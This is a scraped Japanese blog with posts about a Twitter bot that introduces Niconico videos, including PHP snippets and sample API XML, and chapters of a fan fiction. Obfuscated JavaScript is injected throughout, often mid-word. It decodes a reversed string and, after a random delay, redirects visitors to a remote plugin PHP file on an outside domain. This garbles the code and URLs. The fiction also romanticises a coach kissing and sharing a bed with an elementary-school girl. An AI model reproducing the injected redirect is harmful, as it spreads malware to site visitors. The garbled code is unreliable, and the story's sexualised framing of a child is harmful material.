カレンダー

2019年11月
« 2月    
 12
3456789
10111213141516
17181920212223
24252627282930

【meiko_bot】ニコニコ動画の動画紹介時の紹介済判断方法の変更

たまに、昔に紹介済みの動画を紹介することがあってなんでだろうと思っていました。
どうも、何かの拍子に昔に投稿された動画が新着のRSSに載るみたいです。
動画情報を修正したときかとかなのかな?

RSSに入っている情報のうち、まだ紹介していない動画を紹介するようにしていましたが
古い動画だとRSSからすでに消えているものがあり、そのため、紹介済みとならなくて
そのまま投稿になってしまうみたい。
(紹介済みとして保持している情報数が少ないのが問題)

投稿日時と現在日時でチェックする方法もあるんだけど、今の仕様のままだと漏れとか
色々あるかもしれないのでシンプルかつ、漏れないように大幅に変更しました。

RSSに乗っている動画(だいた30件程度)のなかで、紹介済みかを判断するのではなく
紹介した動画の動画IDをファイル名として作成しておき、そのファイルがあるかチェックするというシンプルなチェック。

今まではテキストファイルで書き込み&読み込みしながらチェックしていたので、いろいろ面倒な処理をいれていましたが
これでとてもシンプルになりました。

これで、古い動画がでなくなるといいな。

先程、修正したファイルをリリースしたら、5/5投稿の2件がツイートされちゃった。
どうも、紹介済みとしてファイルを作っておかないといけないものから漏れていたみたい。

今からは正しく動くかな?
大幅に変更したのでしばらく様子見。

GW頃に親密度の高い人が、24時間以内に話しかけた時のリプライパターンを増やしたんだけど、親密度高い人が少ないことが判明。
意味がほとんどなかったです。
リプライパターンがあいかわらず少ないので、こつこつ増やしておきます。

meiko_bot 投稿時間の取得を失敗していたため修正

twitterで稼働させているmeiko_botの修正しました。

meiko_botはこちらです。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://twitter.com/#!/meiko_bot

ニコニコ動画で投稿された作品をRSSによるタグ検索で取得していました。
その中に投稿日時が入っていたのですが、出力される形式が変わっていて取得できなくなっていました。

XML形式で出力されていますが、タグの構造が変わっていたために取得元データなしの状態になっていたということです。

今回はRSSで出力される情報ではなく、ニコニコ動画が提供しているAPIから投稿日時を取得するように変更しました。
もともと動画のタグ情報をニコニコ動画のAPIから取得していたので対応は簡単。

APIでは、以下のようなURLによって、結果がXML形式で帰ってきます。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404″ target=”_blank”> http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404

こんなソースになります。
$nicoadは動画のIDになります。

$nicoapi_url = “http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;
$nikoapi_dougaid = str_replace(“http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);
$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);

結果は以下のような感じで戻ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

上記の結果をもとに、投稿日時としてfirst_retrieveの部分を取得します。
ただし、「2012-04-21T18:22:50+09:00」のような形式にになっているのでmm月dd日 HH時mm分の形式となるように整形しています。
(固定長っぽいので、原始的に桁区切りで整形しています)

$douga_date = $nicoapi_xml->thumb->first_retrieve[0]; //投稿日時
$nico_regdate = intval(mb_substr($douga_date,5,2)).”月”.intval(mb_substr($douga_date,8,2)).”日”.intval(mb_substr($douga_date,11,2)).”時”.intval(mb_substr($douga_date,14,2)).”分”; //整形

テスト用のアカウントで動作確認。
0月0日0時0分になっていたのが、正しく表示されるようになりました。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

謝辞dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
正しく処理されていない状態になっていることを教えてくれた、かきにゃん@柿太郎さん、ありがとうございました。

追記dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
2012/4/22 10:14
meiko_botが投稿日時なしでつぶやいていたので、なんでかと思ったら、修正版をアップしてなかった。だめすぎるorz
今度こそ、アップロードしました。

SS「ロウきゅーぶ」紗季さんが昴さんの趣味を確認することになりました その6

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html”>SS「ロウきゅーぶ」紗季さんが昴さんの趣味を確認することになりました その5の続き


~紗希の視点~

長谷川さんの入室に驚き、何も考えられなく、気が付いたときには長谷川さんと一緒に布団に入り
頭をナデナデされていました。

先ほどの失態と恥ずかしさでぐしゃぐしゃになっていたけど、時間とともに落ち着き、
ようやく今の状況を把握することができました。

長谷川さんの胸に顔をうずめているような状況のため、長谷川さんの心臓の音まで全部聞こえます。

とくん、とくん・・・

耳を預けていると、どんどん落ち着いてくる。

ずっとこうしていたい。

そう思えるほどに。

こんな風に、トモは毎日、長谷川さんに抱きしめられているのだろうか。
そう思うと、切なくなる。

トモのこと、応援しているのに。

ううん、違う。
今の私は男の子。

長谷川さんも同じ男だから、こうやって気兼ねなく同じ布団に入ってくれるに違いない。

そう、勘違いしてはいけない。

ふぅ・・・
深呼吸して、心を落ち着かせる。

私、、、いいえ、僕は男の子。
演じきらなければいけない。

もし、今の私に劣情を抱くようなことがあれば、長谷川さんは男のことに興味があるということ。
本来の目的である、長谷川さんの趣味の確認。

あれ・・・

もし、長谷川さんが男の子に興味がある方だった場合、どうなるのだろうか。
今は、長谷川さんと同じ布団で寝ていて、長谷川さんに抱きしめられている。
ふと、顔をあげて長谷川さんの顔を見つめていると

目があった長谷川さんは優しげに微笑み、私に顔を近づけてきた。

少しずつ・・・

15cm

10cm

5cm

どんどん

まるで・・・

まるで、これからキスをするかのように。

長谷川さんが男の子に興味があるのなら、手を出しても不思議じゃない。
あの本のように、これから、されてしまうのかもしれない。

興味がないわけじゃない。

でも、、、

嫌。

こうなることをどこか期待していたのに、体が震える。

心が痛い。

なぜだか、すごく切ない。

なぜなんだろう。

私の頭を撫でていた手を、私の顔に近づけ

そっと目じりの涙を拭いた。

しらないうちに、涙を流していた。

涙で視界が歪み、長谷川さんの表情がわからない。

理由はわからなかったけど・・・

ただただ、悲しかった。

~長谷川 昴の視点~

頭を撫でていると、どうやら落ち着いたようだ。

しかし、男の子として接するにしても限界はある。

例え相手が小学生だとしても、同じ布団に入るなど緊張しないわけがない。

どうにかして、この状況を脱しなければ・・・

しかし、ここで執拗に紗希を問い詰めてもだめだろう。

いや・・
紗希だと気付いていながら一緒の布団に入り、こんな体制になったことを悟られてはいけない。

よくよく冷静になってみると、たとえ紗希の体を温めるためとはいけ、これはやりすぎだった。

どうすれば、この状況を脱せられる。

考えろ、長谷川昴!!

紗希は男の子だと言い張っている。
でも、完全に、紗希です。ありがとうございます。

同じ布団で寝ている。
紗希から甘いにおいがします・・・違う!!

だめだ、紗希から漂う女の子の匂いで集中できない。

男の子扱いするといっても、無理だ。

ん?

男の子扱い・・・

紗希は男の子の振りをしている。

だけど、実際は可愛い女の子。
今の状況もかなり緊張しているに違いない。

実際は、女の子なのわけだから、紗希に、自分は女の子だからと
自白させるように仕向ければ良い。

なんだ、気づけば簡単なことじゃないか。

自分から嘘をばらしてしまうように仕向ける。

例えば、こうやって、キスをする振りをする。
ゆっくりと、紗希の唇に近づいていく。

ぽかんとした、紗希の顔。
さすがに予想外だったか。

駄目だよ、紗希。

君の嘘は、これで敗れる。

「ッ!!」

紗希の目から流れる涙。

今の状況に信じられないような、いや、とても悲しそう。

俺は馬鹿だ。

紗希の嘘を暴くために、紗希を気づ付けてどうする!

「ごめん、紗希」

正直に言おう。

男の子と言っていたけど、実は紗希自身だったということに気づいていたと正直に話して、精一杯謝ろう。

紗希自身、泣いている自分に驚いているようだ。
そんな、紗希を抱きしめる。

びくっと、紗希の体が撥ねた。

それはそうだろう。だけど、この手を放すと紗希が逃げ出すかもしれない。
俺の言葉を聞いてもらえないかもしれない。

とにかく、謝らせてほしい。

「紗希が男の子だと言っていたけど、俺は紗希だってこと気づいていた。」

「何か事情があるかなと思って、演技に付き合っていて・・・」

「でも、ずっと紗希だって気づいていて、さっきキスしようとしたのも紗希だと分かっていて・・・「長谷川さん!!」

えっ

すごい剣幕で、謝罪中の俺の言葉をさえぎってきた。

でも、怒っているという風ではない。

ひどく、困惑しているような顔。

「長谷川さんは、私だと気づいていて、キスをしようとしたとおっしゃいました。」

「ああ、俺は、紗希だと気付いているにも関わらずキスをしようとした。」

紗希からの罵倒を覚悟していたが、紗希から発せられた言葉は違った。

「長谷川さんは、、、

 長谷川さんは、私と、、、女の子である、私とキスをしたかったのですか?」

紗希の質問の意図が理解できない。

どういう意味なんだ?

いや、まて

女の子なら誰でも良かったと思われたのか!?

違う、断じて違う。

「紗希だから。紗希だからしようとしたんだ。」

俺の答えに、息をのむ紗希。

そう、紗希の嘘を暴くためにしたこと。
キスをしたいから、しようとしたわけじゃないことは理解してもらわなくてはいけない。

目をつむり、何かを熟考する紗希。

先ほどの緊張した雰囲気から、心なしか落ち着いたようにもみえる。

分かってもらえたか。

胸をなでおろす感じだったが、紗希の言葉は予想の斜め上だった。

「私、なんで悲しかったのかわかったんです。
 男の子としての自分、私じゃない自分が、長谷川さんとキスをする。

 目の前の長谷川さんは、私とキスをするのに、私をみていないことが耐えられなかった。

 だから・・・

 長谷川さんに、紗希だからキスがしたかったと言ってもらえて本当にうれしかったです。

 私を見てくれて、私としてくれる。

 だから・・・

 だから・・・」

そういって、紗希は俺を抱きしめ

そっと唇を重ねた・・・・


dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html” title=”SS「ロウきゅーぶ」紗季さんが昴さんの趣味を確認することになりました その7″>続き:SS「ロウきゅーぶ」紗季さんが昴さんの趣味を確認することになりました その7

SS「ロウきゅーぶ」紗季さんが昴さんの趣味を確認することになりました その5

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html”>SS「ロウきゅーぶ」紗季さんが昴さんの趣味を確認することになりました その4の続き


どうも、長谷川 昴です。

部屋に入ったら小学生が俺のTシャツを着ていた。
俺のYシャツなのでぶかぶかな感じで、そう、まさに裸Yシャツ状態にしかみえない。

俺も何を言っているのかわからなくなってきた。

ただ、紗希が俺のYシャツを着ているだけだ。
何を動揺する、長谷川 昴よ!!

落ち着け、俺。
KOOLになれ。

ここは、堂々と、「やあ、おまたせ」という感じに入室するが吉。

やってやる。
PGは冷静に動揺を表に出さない。

よし、自然に自然に。

「やあ、長らくの間待たせてしまったりもしたりしてますでしょうか。紗希さん」

よし、自然に話せた。俺はやればできる子。

だが、どうしたことだ。
紗希がこちらを凝視したまま固まっている。

何か失敗したのだろうか。

これは葵が言っていた。複雑な乙女心が関係しているのだろうか?

いや、ない。

考えてみろ。

練習で汗を書く。

シャワーを先に浴びてもらう。

待っている間に、俺がシャワーを浴びる。

戻ってきたら紗希が俺のYシャツを着ている(今ここ)

だめだ、何がどうしてこうなったのかわからなすぎる。
俺のYシャツを着ているということは、

もしかして、寒いのか!?
そうだ、そうに違いない。

「紗希、またせててごめんな。部屋寒かったかな」
そういいながら、紗希に近づくと小刻みに震えているのに気づいた。

くそっ・・・

せっかく先にシャワーを浴びてもらっても、体を冷やしてしまったら元も子もないじゃないか。
コーチの俺が上に羽織るものを準備しておくべきだった。

あわてて駆け寄ると、顔が少し上気もしている。
「紗希、ごめん。寒かったんだろ」
いや、顔も火照っているし、風邪を引き始めているかもしれない。

すぐに体を温めないといけない。
俺は紗希を抱きかかえて横にあるベットに寝かせることにした。

いや、まて・・・
よく考えろ、長谷川昴!!
震えるほど寒い状態なら、布団に入ってもらってもすぐには暖かくはならないだろう。

人肌で暖めながらベットに入るのが一番いいはずだ。
冬山で遭難したときも、人肌で暖めると聞いたことがあるしな。

「紗希、俺に任せてくれ。」
そういって、抱き抱えたまま、紗希をベットに下ろして一緒に布団に入った。

なでなで。
「これで寒くないだろ」

ずっと固まっていた紗希だったけど、暖をとるために、俺をぎゅっと抱きしめてきた。
よっぽど寒かったんだな。

まったく、俺はコーチ失格だな。
今度からはまっているときも寒くないように上に着るものとか準備するしないとな。

そう思いつつ、紗希の頭を撫でていると
紗希も温まったのか震えも止まった。

俺の胸に小さくなっている紗希がいつも以上に可愛らしく想えた。

~続く~


ロウきゅーぶに関する投稿SS

meiko_botでニコニコ動画の動画紹介時にタグを記載するように変更

meiko_botが動画を紹介していますがタグを記載するように仕様を変更しました。

ニコニコ動画APIを使用すると動画情報が取得できると知り、試してみたところタグも取得できることが判明。
せっかくなので、タグもツイートしてあげたほうが親切だと思うので取得してツイートするようにしてみました。

実装は割りと簡単で
用意されているURLに動画IDを投げるとXMLが帰ってくるので、そこからタグを取得するだけです。

以下のURLに投げるとXML形式で帰ってきます。(sm*の部分を動画IDにしてください)
http://flapi.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getflv/sm*

一例ですが、以下のような感じで取得されます。


$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de><?xml version=”1.0″ encoding=”UTF-8″?>
<nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_thumb_response status=”ok”>
<thumb>
<vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id>sm5138963</vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id>
<title>【MEIKO生誕祭】 紅い悪魔 【記念リメイク】</title>
<dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}description>あるとき”紅い悪魔”といわれた少女がいました。その少女は彼のためだけに、ただそれだけのために生きました。少女バージョンで大人バージョンを聴きたいとコメントがありましたので作成してみました!この作品用にgemu555さんが作成してくださったイラストを使用させて頂きました。その他作品→mylist/50350572010/3/1訂正桐生琢海【異界堂Works】さんが全体的なミキシングの見直しなどをしてくださいました。MP3はこちら、http://db7.voiceblog.jp/data/ikdworks/1258470955.mp32010/5/13 JOYSOUNDにてカラオケ配信済。</dom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}description>
<thumbnail_url>http://tn-skr4.smilevidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/smile?i=5138963</thumbnail_url>
<first_retrieve>2008-11-03T21:06:14+09:00</first_retrieve>
<length>6:02</length>
<movie_type>flv</movie_type>

<size_high>36693137</size_high>
<size_low>9637930</size_low>
<view_counter>19966</view_counter>
<comment_num>588</comment_num>
<mylist_counter>921</mylist_counter>
<last_res_body>切ないなー… GJ! 解釈は人それぞれで良 切ないなあ… こらwww ↑愛する人… </last_res_body>
<watch_url>http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/sm5138963</watch_url>
<thumb_type>vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo</thumb_type>
<embeddable>1</embeddable>

<no_live_play>0</no_live_play>
<tags domain=”jp”>
<tag category=”1″ lock=”1″>VOCALOID</tag>
<tag lock=”1″>MEIKO</tag>
<tag lock=”1″>とほほP</tag>
<tag>MEIKOオリジナル曲</tag>
<tag>MEIKO生誕祭2008</tag>
<tag>MEIKO良曲リンク</tag>
<tag lock=”1″>異界堂Works</tag>

<tag>紅い悪魔</tag>
<tag>もっと評価されるべき</tag>
<tag>JOYSOUND配信中</tag>
</tags>
<tags domain=”tw”>
<tag>已翻譯歌曲</tag>
<tag>MEIKO良曲</tag>
</tags>
<user_id>59567</user_id>
</thumb>
</nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_thumb_response>$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>


XML形式は用意されたsimplexml_load_fileを使用すれば簡単です。
以下のような感じでXMLを変数にセット。
$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>$nicoapi_url = “http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;
$nikoapi_dougaid = str_replace(“http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);
$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);
$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>

あとは、以下のような感じで、tagの部分を取得して文字列に連結させてます。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>$tag_i=0;
$str_tags=””;
foreach($nicoapi_xml->thumb->tags->tag as $value){
    if($tag_i==0)
    {
        //$str_tags = “【タグ】”.$nicoapi_xml->entry[0]->thumb->vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id[$tag_i];
        $str_tags = “【タグ】”.$value;
    }
    else
    {
        //$str_tags = $str_tags.”、”.$nicoapi_xml->entry[0]->thumb->vidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo_id[$tag_i];
        $str_tags = $str_tags.”、”.$value;
    }
    $tag_i++;
}
$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“\’php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rdom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de>